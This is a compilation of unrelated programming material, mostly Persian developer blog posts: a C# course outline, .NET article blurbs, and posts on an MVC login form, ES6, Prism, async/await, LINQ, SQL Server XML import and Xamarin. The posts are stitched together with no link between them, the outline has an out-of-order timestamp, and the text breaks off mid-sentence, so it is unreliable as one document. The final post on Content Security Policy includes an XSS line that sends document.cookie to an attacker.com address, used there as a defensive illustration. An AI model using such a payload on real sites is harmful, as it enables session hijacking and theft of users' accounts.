Advanced C# Programming Course
⭐️ Contents ⭐️
⌨️ (0:00:00) Part 1 - Introduction
⌨️ (0:01:08) Part 2 - Overview of the Advanced C# Course
⌨️ (0:20:46) Part 3 - The Significants of the Release of .NET 5
⌨️ (0:33:17) Part 4 - Delegates - Introduction
⌨️ (0:47:47) Part 5 - Delegates - Create a Code Example
⌨️ (1:51:45) Part 6 - Delegates - Understanding Covariance and Contravariance
⌨️ (2:04:19) Part 7 - Delegates - Fund, Action and Predicate
⌨️ (2:24:26) Part 8 - Delegates - Asynchronous Method Calls
⌨️ (2:39:24) Part 9 - Events - Introduction
⌨️ (2:55:50) Part 10 - Events - Add/Remove Accessors
⌨️ (2:22:44) Part 11 - Events - User Actions & UWP
⌨️ (3:52:23) Part 12 - Events - The Observer Design Pattern
⌨️ (5:12:33) Part 13 - Generics - Introduction
⌨️ (5:27:30) Part 14 - Generics - Understanding Constraints
⌨️ (5:53:42) Part 15 - Generics - Generic Delegates and Events
⌨️ (6:34:56) Part 16 - Generics - The Factory Design Pattern
⌨️ (6:56:23) Part 17 - Async / Await Task - Introduction
⌨️ (7:35:36) Part 18 - Async / Await Task - Task.Run()
⌨️ (8:04:34) Part 19 - Async / Await Task - Best Practices
⌨️ (8:45:23) Part 20 - Async / Await Task - Cancelling Asynchronous Operations
⌨️ (9:13:47) Part 21 - LINQ - Introduction
⌨️ (9:50:14) Part 22 - LINQ - Queries
⌨️ (10:29:57) Part 23 - LINQ - Operators
⌨️ (11:16:51) Part 24 - LINQ - More Operators and Summary
⌨️ (12:18:46) Part 25 - C# Attributes
⌨️ (13:33:13) Part 26 - C# Reflection
⌨️ (14:34:53) Part 27 - .NET Framework and .NET Core
⌨️ (14:39:06) Part 28 - .NET 6
⌨️ (14:50:52) Part 29 - .NET 7
10) Practical .NET: Powerful JavaScript With Upshot and Knockout
The Microsoft JavaScript Upshot library provides a simplified API for
retrieving data from the server and caching it at the client for reuse. Coupled
with Knockout, the two JavaScript libraries form the pillars of the Microsoft
client-side programming model.
9) On VB: Database Synchronization with the Microsoft Sync
Framework
The Microsoft Sync Framework is a highly flexible framework
for synchronizing files and data between a client and a master data store. With
great flexibility often comes complexity and confusion, however.
8) C# Corner: Performance Tips for Asynchronous Development in
C#
Visual Studio Async is a powerful development framework, but it's
important to understand how it works to avoid performance hits.
7) 2 Great JavaScript Data-Binding Libraries
JavaScript
libraries help you build powerful, data-driven HTML5 apps.
6) On VB: Entity Framework Code-First Migrations
Code First
Migrations allow for database changes to be implemented all through code.
Through the use of Package Manager Console (PMC), commands can be used to
scaffold database changes.
5) C# Corner: The New Read-Only Collections in .NET 4.5
Some
practical uses for the long-awaited interfaces, IReadOnlyList and
IReadOnlyDictionary, in .NET Framework 4.5.
4) C# Corner: Building a Windows 8 RSS Reader
Eric Vogel
walks through a soup-to-nuts demo for building a Metro-style RSS reader.
3) C# Corner: The Build Pattern in .NET
How to separate
complex object construction from its representation using the Builder design
pattern in C#.
2) Inside Visual Studio 11: A Guided Tour
Visual Studio 2012
(code-named Visual Studio 11 then) is packed with new features to help you be a
more efficient, productive developer. Here's your guided tour.
1) HTML5 for ASP.NET Developers
The technologies bundled as
HTML5 finally support what developers have been trying to get HTML to do for
decades.
ASP.NET MVC #13
@model Models.Account @{ Layout = null; ViewBag.Title = "ورود به سیستم"; } <script src="@Url.Content("~/Scripts/jquery-1.7.1.min.js")" type="text/javascript"></script> <script src="@Url.Content("~/Scripts/jquery.validate.min.js")" type="text/javascript"></script> <script src="@Url.Content("~/Scripts/jquery.validate.unobtrusive.min.js")" type="text/javascript"></script> @using (Html.BeginForm()) { @Html.ValidationSummary(true) <fieldset> <legend>Login</legend> <table style="font-size: 8pt"> <tr> <td style="width: 100px; text-align: left">نام کاربری :</td> <td>@Html.EditorFor(model => model.Username)</td> </tr> <tr> <td></td> <td style="color: red">@Html.ValidationMessageFor(model => model.Username)</td> </tr> <tr> <td style="width: 100px; text-align: left">کلمه عبور :</td> <td>@Html.EditorFor(model => model.Password)</td> </tr> <tr> <td></td> <td style="color: red">@Html.ValidationMessageFor(model => model.Password)</td> </tr> <tr> <td></td> <td> <input type="submit" value="ورود به سیستم" /></td> </tr> </table> </fieldset> }
public class Account { [Required(ErrorMessage = "نام کاربری باید وارد شود.")] [StringLength(20)] public string Username { get; set; } [Required(ErrorMessage = "کلمه عبور باید وارد شود.")] [DataType(DataType.Password)] public string Password { get; set; } }
[HttpGet] public ActionResult LogOn(string returnUrl) { if (User.Identity.IsAuthenticated) //remember me { if (shouldRedirect(returnUrl)) { return Redirect(returnUrl); } return Redirect(FormsAuthentication.DefaultUrl); } return View(); // show the login page }
[HttpPost] public ActionResult LogOn(Account loginInfo, string returnUrl) { if (this.ModelState.IsValid) { List<User> users = _userService.GetUser(loginInfo.Username, loginInfo.Password); if (users != null && users.Count == 1) { FormsAuthentication.SetAuthCookie(loginInfo.Username,false);// loginInfo.RememberMe); //-- کاربر برنامه ریزی if (users.First().UserType_Id == 1) { return RedirectToAction("Index", "Programming", new { u = loginInfo.Username }); } else if (users.First().UserType_Id == 2) { } else if (users.First().UserType_Id == 3) { } else if (users.First().UserType_Id == 4) { } } } this.ModelState.AddModelError("", "نام کاربری یا کلمه عبور اشتباه وارد شده اند."); ViewBag.Error = ""; return View(loginInfo); }
<appSettings> <add key="webpages:Version" value="2.0.0.0" /> <add key="webpages:Enabled" value="false" /> <add key="PreserveLoginUrl" value="true" /> <add key="ClientValidationEnabled" value="true" /> <add key="UnobtrusiveJavaScriptEnabled" value="true" /> </appSettings>
معرفی ES 6
چرا باید ES 6 را آموخت؟
در طی 2 سال آینده، تمام فریم ورکهای جدید جاوا اسکریپتی، از بوت استرپ 4 تا AngularJS 2 تا Aurelia و غیره، همگی به ES 6 کوچ خواهند کرد (و این اتفاق هم اکنون در حال رخ دادن است). بنابراین به زودی بدون فراگیری و تسلط بر ES 6، در حوزهی وب، «بیسواد» محسوب خواهید شد و فراگیری آن یک «باید» است.
وضعیت پشتیبانی از ES 6 در مرورگرهای مختلف
برای مشاهدهی پیشرفتهای مرورگرهای کنونی در زمینهی پشتیبانی از ES 6، میتوان به صفحهی ES 6 compatibility table مراجعه کرد.
برای نمونه در حال حاضر، فایرفاکس بهترین پشتیبانی از ES 6 را ارائه میدهد (با پیاده سازی 85 درصد از قابلیتها) و بعد از آن مرورگر جدید مایکروسافت قرار دارد.
وضعیت IE 10,11 در این بین تغییری نخواهند کرد؛ زیرا پشتیبانی رسمی از تمام آنها به زودی خاتمه مییابد (در سه شنبه، ۲۲ دی ۱۳۹۴).
در همین صفحه، در ابتدای چارت، ستون current browser نیز قرار دارد. این ستون، وضعیت مرورگر جاری شما را از لحاظ درصد پیاده سازی قابلیتهای ES 6 نمایش میدهد.
اهمیت دریافت آخرین نگارشهای مرورگرها
با توجه به ES 6 compatibility table، اکثر مرورگرها در نسخههای شبانه و همچنین آزمایشی آنها، به مرور در حال افزودن قابلیتهای باقیماندهی ES 6 هستند. بنابراین اگر با فایرفاکس کار میکنید، نیاز است Firefox nightly builds را نصب کنید. اگر از مرورگرهای مایکروسافت استفاده میکنید، آخرین نگارش MS Edge بهترین پشتیبانی از ES 6 را ارائه میدهد و اگر از کروم استفاده میکنید، نگارشهای بتا و Dev آن را میتوانید دریافت کنید.
علاوه بر اینها، نگارشهای فعلی این مرورگرها نیز دارای امکانات آزمایشی هستند که میتوان آنها را به صورت دستی فعال کرد. برای مثال در مرورگر کروم، به آدرس chrome://flags مراجعه کنید و در صفحهی باز شده، کلمهی JavaScript را جستجو کنید. در اینجا نیاز است گزینهی «Enable Experimental JavaScript» را فعال کنید (بر روی لینک enable ذیل آن کلیک نمائید).
به این ترتیب قادر خواهید بود آخرین افزونههای ES 6 را در developer tools console آن اجرا کنید.
چنین تنظیمی به MS Edge نیز اضافه شدهاست. پس از اجرای آن، به آدرس about:flags مراجعه کنید:
در اینجا نیز میتوانید گزینهی «Enable experimental JavaScript features» را انتخاب کنید.
معرفی traceur-compiler
هرچند قابلیتهای فعلی آخرین نگارشهای مرورگرها برای اجرای بسیاری از امکانات ES 6 کفایت میکنند، اما اگر علاقمند به اجرای تمامی آنها هستید، میتوان از traceur-compiler گوگل نیز کمک گرفت (با تلفظ تریسر). این کامپایلر، قابلیتهای جدید ES 6 را تبدیل به نگارشهای فعلی قابل درک برای مرورگرهای قدیمیتر میکند. به این ترتیب امکان اجرای آزمایشات مرتبط با ES 6 را خواهید یافت.
روش استفادهی از آن هم به صورت ذیل است:
<script src="https://google.github.io/traceur-compiler/bin/traceur.js"></script> <script src="https://google.github.io/traceur-compiler/src/bootstrap.js"></script> <script type="module"> // ES 6 </script>
آموزش Prism #1
- MVVM Light
- Prism
- Caliburn
- Cinch
- WAF
- Catel
- Onyx
- MVVM helpers
- و...
هر کدوم از فریم ورکهای بالا مزایا، معایب و طرفداران خاص خودشون رو دارند(^) ولی به جرات میتونیم Prism رو به عنوان قویترین فریم ورک برای پیاده سازی پروژهای بزرگ و قوی و ماژولار با تکنولوژی WPF یا Silverlight بنامیم. در این پست به معرفی و بررسی مفاهیم اولیه Prism خواهیم پرداخت و در پستهای دیگر به پیاده سازی عملی همراه با مثال میپردازیم.
*اگر به هر دلیلی مایل به یادگیری و استفاده از Prism نیستید، بهتون پیشنهاد میکنم از WAF استفاده کنید.
پیش نیازها:
برای یادگیری PRISM ابتدا باید با مفاهیم زیر در WPF یا Silverlight آشنایی داشته باشید.(فرض بر این است که به UserControl و Xaml و Dependency Properties، تسلط کامل دارید)
- Data binding
- Resources
- Commands
- Behaviors
چرا Prism ؟
- Prism به صورت کامل از Modular Programming برای پروژههای WPF و Silverlight پشتیانی میکند*
- از Prism هم میتوانیم در پروژههای WPF استفاده کنیم و هم Silverlight.
- Prism به صورت کامل از الگوی MVVM برای پیاده سازی پروژهها پشتیبانی میکند.
- پیاده سازی مفاهیمی نظیر Composite Command و Command Behavior و Asynchronous Interacion به راحتی در Prism امکان پذیر است.
- مفاهیم تزریق وابستگی به صورت توکار در Prism فراهم است که برای پیاده سازی این مفاهیم به طور پیش فرض امکان استفاده از UnityContainer و MEF در Prism تدارک دیده شده است.
- پیاده سازی Region navigation در Prism به راحتی امکان پذیر است.
- به وسیله امکان Event Aggregation به راحتی میتوانیم بین ماژولهای مختلف ارتباط برقرار کنیم.
*توضیح درباره برنامههای ماژولار
در تولید پروژهای نرم افزاری بزرگ هر چه قدر هم اگر در تهیه فایلهای اسمبلی، کلاس ها، اینترفیسها و کلا طراحی پروژه به صورت شی گرا دقت به خرج دهیم باز هم ممکن است پروژه به صورت یک پارچه طراحی نشود. یعنی بعد از اتمام پروژه، توسعه، تست پذیری و نگهداری آن سخت و در بعضی مواقع غیر ممکن خواهد شد. برنامه نویسی ماژولار این امکان را فراهم میکنه که یک پروزه با مقیاس برزگ به چند پروژه کوچک تقسیم شده و همه مراحل طراحی و توسعه و تست برای هر کدام از این ماژولها به صورت جدا انجام شود.
Prism امکاناتی رو برای طراحی و توسعه این گونه پروژهها به صورت ماژولار فراهم کرده است:
- ابتدا باید نام و مکان هر ماژول رو به Prism معرفی کنیم که میتونیم اونها رو در کد یا Xaml یا Configuration File تعریف کنیم.
- با استفاده از Metadata باید وابستگیها و مقادیر اولیه برای هر ماژول مشخص شود.
- با کمک تزریق وابستگیها ارتباطات بین ماژولها میسر میشود.
- ماژول مورد نظر به دو صورت OnDemand و Available لود خواهد شد.
در شکل زیر مراحل بالا قابل مشاهده است:
Bootstrapper چیست؟
در هر پروژه ماژولار (مختص Prism نیست) برای اینکه ماژولهای مختلف یک پروژه، قابلیت استفاده به صورت یک پارچه رو در یک Application داشته باشند باید مفهومی به نام Bootstapper رو پیاده سازی کنیم که وظیفه اون شناسایی و پیکربندی و لود ماژول هاست. در Prism دو نوع Bootstrapper پیش فرض وجود دارد.
- MefBootstrapper : کلاس پایه Bootstrapper که مبنای آن MEF است. اگر قصد استفاده از MEF رو در پروژههای خود دارید(^) Bootstrapper شما باید از این کلاس ارث ببرد.
- UnityBootstrapper : کلاس پایه Bootstrapper که مبنای آن UnityContainer است. اگر قصد استفاده از UnityContainer یا Service Locator (^) رو در پروژههای خود دارید Bootstrapper شما باید از این کلاس ارث ببرد.
تصویری از ارتباط Bootstrapper با ماژولهای سیستم
مفهوم Shell
در پروژههای WPF، در فایل App.xaml توسط یک Uri نقطه شروع پروژه را تعیین میکنیم. در پروژههای Silverlight به وسیله خاصیت RootVisual نقطه شروع سیستم تعیین میشود. در Prism نقطه شروع پروژه توسط bootsrapper تعیین میشود. دلیل این امر این است که Shell در پروژههای مبتنی بر Prism متکی بر Region Manager است. از Region برای لود و نمایش ماژولها استفاده خواهیم کرد.
ادامه دارد...
برای اینکه بتونم قدرت و راحتی کار با این ابزار رو به خوبی نشون بدم ابتدا یک مثال رو به روشی قدیمیتر پیاده سازی میکنم. بعد پیاده سازی همین مثال رو به روش جدید بهتون نشون میدم.
میخوام یک برنامه بنویسم که لیستی از محصولات رو به صورت Async در خروجی چاپ کنه. ابتدا کلاس مدل:
public class Product { public int Id { get; set; } public string Name { get; set; } }
public class ProductService { public ProductService() { ListOfProducts = new List<Product>(); } public List<Product> ListOfProducts { get; private set; } private void InitializeList( int toExclusive ) { Parallel.For( 0 , toExclusive , ( int counter ) => { ListOfProducts.Add( new Product() { Id = counter , Name = "DefaultName" + counter.ToString() } ); } ); } public IAsyncResult BeginGetAll( AsyncCallback callback , object state ) { var myTask = Task.Run<IEnumerable<Product>>( () => { InitializeList( 100 ); return ListOfProducts; } ); return myTask.ContinueWith( x => callback( x ) ); } public IEnumerable<Product> EndGetAll( IAsyncResult result ) { return ( ( Task<IEnumerable<Product>> )result ).Result; } }
متد InitializeList به تعداد ورودی آیتم به لیست اضافه میکند و اونو به CallBack میفرسته. در نهایت برای اینکه بتونم از این کلاسها استفاده کنم باید به صورت زیر عمل بشه:
class Program { static void Main( string[] args ) { GetAllProducts().ToList().ForEach( ( Product item ) => { Console.WriteLine( item.Name ); } ); Console.ReadLine(); } public static IEnumerable<Product> GetAllProducts() { ProductService service = new ProductService(); var output = Task.Factory.FromAsync<IEnumerable<Product>>( service.BeginGetAll , service.EndGetAll , TaskCreationOptions.None ); return output.Result; } }
حالا همین کلاس بالا رو به روش Async&Await مینویسم:
public async Task<IEnumerable<Product>> GetAllAsync() { var result = Task.Run( () => { InitializeList( 100 ); return ListOfProducts; } ); return await result; }
class Program { static void Main( string[] args ) { GetAllProducts().Result.ToList().ForEach( ( Product item ) => { Console.WriteLine( item.Name ); } ); Console.ReadLine(); } public static async Task<IEnumerable<Product>> GetAllProducts() { ProductService service = new ProductService(); return await service.GetAllAsync(); } }
در ابتدا مثالهای زیر را در نظر بگیرید:
using System;
using System.Collections.Generic;
using System.Linq;
namespace testWinForms87
{
public class Data
{
public int id { get; set; }
public string name { get; set; }
}
class CLinqTests
{
public static int TestGetListMin1()
{
var lst = new List<Data>
{
new Data{ id=1, name="id1"},
new Data{ id=2, name="id2"},
new Data{ id=3, name="name3"}
};
return (from c in lst
where c.name.Contains("id")
select c.id).Min();
}
public static int TestGetListMin2()
{
var lst = new List<Data>();
return (from c in lst
where c.name.Contains("id")
select c.id).Min();
}
}
}
محاسبات آن کار میکند و مشکلی هم ندارد. اما همیشه در دنیای واقعی همه چیز قرار نیست به این خوبی پیش برود. ممکن است همانند متد TestGetListMin2 ، لیست ما خالی باشد (برای مثال از دیتابیس، رکوردی مطابق شرایط کوئریهای قبلی بازگشت داده نشده باشد). در این حالت هنگام فراخوانی متد Min ، استثنای Sequence contains no elements رخ خواهد داد و همانطور که در مباحث defensive programming عنوان شد، وظیفهی ما این نیست که خودرو را به دیوار کوبیده (یا منتظر شویم تا کوبیده شود) و سپس به فکر چاره بیفتیم که خوب، عجب! مشکلی رخ داده است!
اکنون چه باید کرد؟ حداقل یک مرحله بررسی اینکه آیا کوئری ما حاوی رکوردی میباشد یا خیر باید به این متد اضافه شود (به صورت زیر):
public static int TestGetListMin3()
{
var lst = new List<Data>();
var query = from c in lst
where c.name.Contains("id")
select c.id;
if (query.Any())
return query.Min();
else
return -1;
}
شبیه به این مورد در هنگام استفاده از تابع Single مربوط به LINQ نیز ممکن است رخ دهد (تولید استثنای ذکر شده) اما در اینجا مایکروسافت تابع SingleOrDefault را نیز پیش بینی کرده است. در این حالت اگر کوئری ما رکوردی را برنگرداند، SingleOrDefault مقدار نال را برگشت داده و استثنایی رخ نخواهد داد (نمونهی دیگر آن متدهای First و FirstOrDefault هستند).
در مورد متدهای Min و Max ، متدهای MinOrDefault یا MaxOrDefault در دات نت فریم ورک وجود ندارند. میتوان این نقیصه را با استفاده از extension methods برطرف کرد.
using System;
using System.Collections.Generic;
using System.Linq;
public static class LinqExtensions
{
public static T MinOrDefault<T>(this IEnumerable<T> source, T defaultValue)
{
if (source.Any<T>())
return source.Min<T>();
return defaultValue;
}
public static T MaxOrDefault<T>(this IEnumerable<T> source, T defaultValue)
{
if (source.Any<T>())
return source.Max<T>();
return defaultValue;
}
}
public static int TestGetListMin4()
{
var lst = new List<Data>();
return (from c in lst
where c.name.Contains("id")
select c.id).MinOrDefault(-1);
}
همیشه با نزدیک شدن آخر سال، به روز کردن مناسبتهای تقویم سال بعد ضروری میشود. دوستان لینوکسی ما هم در این مورد زحمت کشیده و برنامهای را تهیه کردهاند که از آدرس زیر قابل دریافت است:
http://download.gna.org/jalali-calendar/
پس از دریافت برنامه، مناسبتهای سال 1388 در فایل 1388.xml قابل مشاهده است (با تقدیر و تشکر از زحمات این عزیزان). فرض کنید میخواهیم این اطلاعات را به اس کیوال سرور منتقل کنیم.
فرمت این فایل به شکل زیر است:
<?xml version="1.0" encoding="UTF-8"?>
<cal1388>
<day>
<num>1/1</num>
<desc>عید نوروز، لحظه تحویل سال:ساعت 15 و 13 دقیقه و 39 ثانیه </desc>
</day>
</cal1388>
حداقل سه راه حل برای انجام اینکار (خواندن فایل xml توسط اس کیوال سرور) موجود است:
راه اول:
SELECT '1388' saal,
X.day.query('num').value('.', 'nVARCHAR(50)') rooz_maah,
X.day.query('desc').value('.', 'nVARCHAR(max)') tozih
FROM (
SELECT CAST(x AS XML)
FROM OPENROWSET(
BULK
'c:\1388.xml',
SINGLE_BLOB
) AS T(x)
) AS T(x)
CROSS APPLY x.nodes('cal1388/day') AS X(day);
راه دوم:
DECLARE @MyXML XML
SELECT @MyXML = CAST(x AS XML)
FROM OPENROWSET(
BULK
'c:\1388.xml',
SINGLE_BLOB
) AS T(x)
SELECT 1388 saal,
nref.value('num[1]', 'nvarchar(50)') rooz_maah,
nref.value('desc[1]', 'nvarchar(max)') tozih
FROM @MyXML.nodes('//day') AS R(nref)
راه سوم:
DECLARE @MyXML XML
DECLARE @handle INT
SELECT @MyXML = CAST(x AS XML)
FROM OPENROWSET(
BULK
'c:\1388.xml',
SINGLE_BLOB
) AS T(x)
EXEC sp_xml_preparedocument @handle OUTPUT,
@MyXML
SELECT 1388 saal,
*
FROM OPENXML(@handle, '/cal1388/day', 2) WITH
(num VARCHAR(20), [desc] NVARCHAR(MAX))
EXEC sp_xml_removedocument @handle
اکنون که میتوانیم اطلاعات این فایل را select کنیم، Insert آن ساده است . برای مثال:
INSERT INTO tblMonasebat
(
saal,
rooz_mah,
tozih
)
SELECT '1388' saal,
nref.value('num[1]', 'nvarchar(50)') rooz_maah,
nref.value('desc[1]', 'nvarchar(max)') tozih
FROM @MyXML.nodes('//day') AS R(nref)
بدیهی است امکان مقدار دهی @MyXML به صورت یک رشته که حاوی محتویات فایل است نیز مهیا میباشد (بجای خواندن از فایل).
برای مطالعهی بیشتر
XML Support in Microsoft SQL Server 2005
Beginning SQL Server 2005 XML Programming
چرا برنامه نویسی موبایل؟
با افزایش روزافزون SmartPhone ها و تبلتها، بازار تکنولوژی به این سمت سوق پیدا کردهاست. از این رو شرکتهای ارائه دهنده نرم افزاری، از این موقعیت استفاده کرده و هر کدام پلتفرم متفاوتی را برای برنامه نویسی بر روی این اسمارت فونها ارائه دادهاند. یکی از بزرگترین دغدغههای امروزه شرکتهای برنامه نویسی و توسعه نرم افزار موبایل، انتخاب درست پلتفرم برای توسعه نرم افزار میباشد. در این مقاله قصد دارم یکی از این پلت فرمها را بررسی کرده و معرفی کنم.
شرکت xamarin کار خود را در سال 2011 با ارایه نسخه Cross Platform پلتفرم .Net به نام Mono آغاز کرد. بعد از ارایه این نسخه از .Net، زامارین به کمک Mono توانست پیاده سازی بر روی Android و IOS را به نامهای MonoForAndroid و MonoTouch ارایه دهد. بعد از این نسخهها برنامه نویسان توانستند بر روی سیستم عاملهای اندروید و آی او اس به صورت Native کد خود را به زبان C# نوشته و آنها را اجرا کنند.
چرا باید از Xamarin استفاده کنم؟
در ادامه مقاله قصد دارم شما را با برخی از ویژگیهای زامارین آشنا کرده و مزایای استفاده از آن را بیان کنم.
Xamarin امکانی را فراهم کردهاست که برنامه نویسان به دو روش متفاوت قادر خواهند بود برنامههای خود را بنویسند:
Xamarin Native :1
زامارین به شما این امکان را میدهد که بتوانید به صورت مستقیم برای هر پلتفرم به صورت جداگانه برنامه نویسی کنید. در اندروید اینکار با Xamarin.Droid و در IOS اینکار با Xamarin.Touch امکانپذیر است. مزیتهای استفاده از این روش عبارتند از:
· بهره گیری از یک زبان برنامه نویسی
همانطور که میدانید یادگیری یک زبان برنامه نویسی هزینهی زیادی را برای یک سازمان و یا یک شخص به همراه دارد. در زامارین این امکان فراهم شدهاست که با استفاده از تنها یک زبان برنامه نویسی مانند C# ، برنامه نویسان بتوانند برای پلتفرمهای مختلف برنامه بنویسند. در نظر داشته باشید که UI در هر پلتفرم به صورت جداگانه پیاده سازی میشود. به طور مثال در اندروید به وسیلهی Android Xml میتوانید ظاهر برنامه خود را پیاده سازی کنید و منطقهای خود را با زبان C# برای تمامی پلت فرمها به صورت یکسان بنویسید.
· تجربه کاربری Native
زامارین به شما این امکان را خواهد داد که با استفاده از کنترلهای Native هر پلتفرم به تجربه کاربری همان پلت فرم دسترسی پیدا کنید و اپلیکیشنی با ظاهر و UX همان پلتفرم بسازید.
· استفاده 100% از امکانات هر پلتفرم
زامارین به دلیل Native بودن این امکان را به برنامه نویسان ارائه میدهد که با استفاده از یک زبان و با بکارگیری Cycle Life مخصوص هر پلتفرم، به 100% امکانات و API های هر پلتفرم دسترسی پیدا کنند.
· Performance
به دلیل اینکه برنامههای زامارین به صورت Native اجرا میشوند Performance بالایی دارند.
· دسترسی به API های موجود در .Net
شما قادر خواهید بود با دانش موجود مانند Entity Framework Code و.. به فریم ورک .Net دسترسی پیدا کرده و از API های درون آن استفاده کنید. زامارین از یکی از پیاده سازیهای .Net Standard استفاده میکند.
· استفاده مجدد از کد
در زامارین قادر خواهید بود که از کدهای خود، استفاده مجدد کرده و این امر سبب مدیریت بهتر بر روی کد، کد نویسی کمتر، هزینه نگهداری کد کمتر، توسعه راحتتر اپلیکیشن و ... میشود.
· تست خودکار
در زامارین شما میتوانید برای کدهای خود تست خودکار نوشته و آنها را به صورت خودکار تست کنید.
· Bind کردن Library های Objective-C و Java
زامارین طوری طراحی شدهاست که دست شما را در هیچگونه شرایطی نخواهد بست. شما میتوانید به صورت مستقیم کدهایی را که به زبان های Java و Objective-C نوشته شدهاند، به پروژه اضافه کرده و هیچگونه نگرانی از بابت کدهای از قبل نوشته شده که به زبانهای Objective-C و Java هستند، نداشته باشید.
· Designer
در زمارین این امکان وجود دارد که در هر پلتفرم از طریق Designer مخصوص به آن پلتفرم، UI خود را طراحی و پیاده سازی کنید.
· Async
در برنامه نویسی غیر همزمان ( Asynchronous Programming ) این امکان وجود دارد که برنامه شما بدون توقف، یک قسمت از کد را اجرا کرده و منتظر اجرای قسمتهای دیگر کد نشود؛ یا به اصطلاح برنامه از حالت Response خارج نشود. در زبانهای Java ، Objective-C و Swift اینکار باید با CallBack و به صورت Manual مدیریت شود؛ اما #C این امکان را فراهم آورده است که به راحتی اینکار را انجام داده و برنامه خود را همیشه در حالت پاسخ دهی نگه دارید.
public async Task<List<FeedItem>> GetFeedItems(DateTime date) { var feed = "http://planet.xamarin.com/feed/"; var response = await httpClient.GetStringAsync(feed); var items = await ParseFeedAsync(response); return items.Where(item => item.Published.Date == date).ToList(); }
· Parallel Programming
در برنامه نویسی موازی( Parallel Programming ) برخلاف برنامه نویسی MultiThread که بر روی یک هسته CPU اجرا میشود، بر روی چندین هسته CPU به صورت موازی اجرا میشود. زامارین از این نوع برنامه نویسی پشتیبانی میکند.
Xamarin.Forms: 2
پس از معرفی Xamarin Forms API شما میتوانید علاوه بر مزیتهایی که در بالا اشاره شد، کدهای Logic خود را با زبان C# و کدهای UI خود را با زبان XAML پیاده سازی کرده و با یک بار نوشتن کد، در پلتفرمهای مختلف خروجی خود را مشاهده کنید. مزیت استفاده از Xamarin Forms عبارتند از:
· استفاده از کد واحد برای پیاده سازی UI و Logic
یکی از بهترین مزیتهایی را که میتوان به آن اشاره نمود این است که شما کافیست یک بار کد خود را بنویسید و Xamarin Forms کد شما را در پلت فرمهای متفاوت پیاده سازی خواهد کرد.
<?xml version="1.0" encoding="UTF-8"?> <TabbedPage xmlns="http://xamarin.com/schemas/2014/forms" xmlns:x="http://schemas.microsoft.com/winfx/2009/xaml" x:Class="MyApp.MainPage"> <TabbedPage.Children> <ContentPage Title="Profile" Icon="Profile.png"> <StackLayout Spacing="20" Padding="20" VerticalOptions="Center"> <Entry Placeholder="Username" Text="{Binding Username}"/> <Entry Placeholder="Password" Text="{Binding Password}" IsPassword="true"/> <Button Text="Login" TextColor="White" BackgroundColor="#77D065" Command="{Binding LoginCommand}"/> </StackLayout> </ContentPage> <ContentPage Title="Settings" Icon="Settings.png"> <!-- Settings --> </ContentPage> </TabbedPage.Children> </TabbedPage>
برای پیاده سازی UI در Xamarin Forms باید از XAML استفاده کنید. همچنین مانند روش قبلی میتوانید از زبان C# برای پیاده سازی منطق، استفاده نمایید.
با استفاده از Xamarin Forms شما تجربه نوشتن کد Cross Platform را در کنار Native بودن آن خواهید داشت.
· استفاده از یک کنترل مخصوص یک پلتفرم در بین کد ( Embedding )
در Xamarin Forms این امکان وجود دارد که اگر شما خواستید یک کنترل مخصوص IOS را در بین کدهای خود استفاده کنید، بتوانید به راحتی اینکار را انجام دهید.( (Embedding
اگر به تصویر بالا دقت کنید متوجه خواهید شد که در یکسری از کنترلها، تصاویر متفاوت هستند. در نسخه اندروید یک Action Button در قسمت پایین صفحه مشاهده میکنید که در نسخهی IOS آن موجود نیست. یعنی به صورت مستقیم کنترل Action Button که مختص به پلت فرم اندروید میباشد، درون Xamarin Forms استفاده شده است.
· دسترسی به هر پلتفرم به طور مستقیم
شما قادر خواهید بود به طور مستقیم به هر پلت فرم دسترسی پیدا کرده و به طور مثال در هر پلتفرم، UI مخصوص به خود را با Property های مخصوص به خود طراحی کنید.
· UITest و Test Cloud
در Xamarin Forms میتوانید برای UI خود تست نوشته و آنها را به وسیله Xamarin Test Cloud بر روی صدها Device متفاوت تست کنید. (این امکان فقط برای Android و IOS وجود دارد.)
· Life Cycle مشابه در تمامی پلتفرم ها
همانطور که میدانید پلتفرمهای مختلف، Life Cycle های متفاوتی برای مدیریت اپلیکیشن دارند. یکی از مزیتهای استفاده از Xamarin Forms این است که شما میتوانید برای تمامی پلتفرمها بهوسیلهی یک Life Cycle یکسان کد بنویسید.
· Previewer
یکی از بهترین قابلیتهایی که در Xamarin Forms اضافه شدهاست این است که شما قادر خواهید بود به صورت Real Time خروجی فایل XAML خود را به وسیله Previewer مشاهده نمایید.
· Performance Profiler
به وسیله Xamarin Profiler شما میتوانید میزان مصرف حافظه، Performance و ... را در اندروید و IOS اندازه گیری نمایید.
نکات قابل توجه:
Ø استفاده همزمان از Xamarin Forms و Xamarin Native
شما میتوانید کدهای خود را با حداکثر Reusability نوشته و در صورت لزوم با کدهای Xamarin Native ترکیب کنید.
Ø Documentation خیلی خوب
زمارین مستندات جامع و کاملی را در سایت خود گردآوری کرده که میتوانید به راحتی از آن برای فهم تمامی قسمتهای Xamarin استفاده کنید.
- «ایجاد یک ActionFilter جهت تمیز کردن اطلاعات ورودی در ASP.NET Core»
- «افزودن هدرهای Content Security Policy به برنامههای ASP.NET» برای مثال زمانیکه تنظیم CSP ابتدایی زیر را داریم:
Content-Security-Policy: default-src 'self'
<script>location.href="http://attacker.com/Cookies/?c="+encodeURIComponent(document.cookie);</script>
سؤال: چگونه توسط CSP، اسکریپتهای inline خوب را از بد تشخیص دهیم؟
یک روش مواجه شدن با منع اجرای اسکریپتهای inline، مجاز اعلام کردن تمام آنها با فعالسازی و ذکر تنظیم unsafe-inline است که عملا CSP را بیمصرف میکند. روش دیگر آن، معرفی هش اسکریپتهای inline مجاز است. اگر هدرهای CSP را فعال کرده باشیم، مرورگر زمانیکه به قطعه کد اسکریپتی که نمیخواهد آنرا اجرا کند برسد، یک چنین پیام خطایی را در developer tools خود صادر میکند:
Refused to execute inline script because it violates the following Content Security Policy directive: "script-src 'self' 'unsafe-eval'". Either the 'unsafe-inline' keyword, a hash ('sha256-Rx2R8WNQO+B6FPfeIU/11a0BScUM6Cq7HdThUsPpjOU='), or a nonce ('nonce-...') is required to enable inline execution.
Content-Security-Policy: default-src 'self'; script-src 'sha256-Rx2R8WNQO+B6FPfeIU/11a0BScUM6Cq7HdThUsPpjOU='
معرفی کتابخانهی NetEscapades.AspNetCore.SecurityHeaders
جهت سهولت تعریف و اعمال هدرهای CSP در تمام برنامههای مبتنی بر ASP.NET Core، منجمله Blazor server و Blazor WASM هاست شده، میتوان از میانافزار NetEscapades.AspNetCore.SecurityHeaders استفاده کرد. برای اینکار ابتدا نیاز است بستهی نیوگت آنرا معرفی کرد:
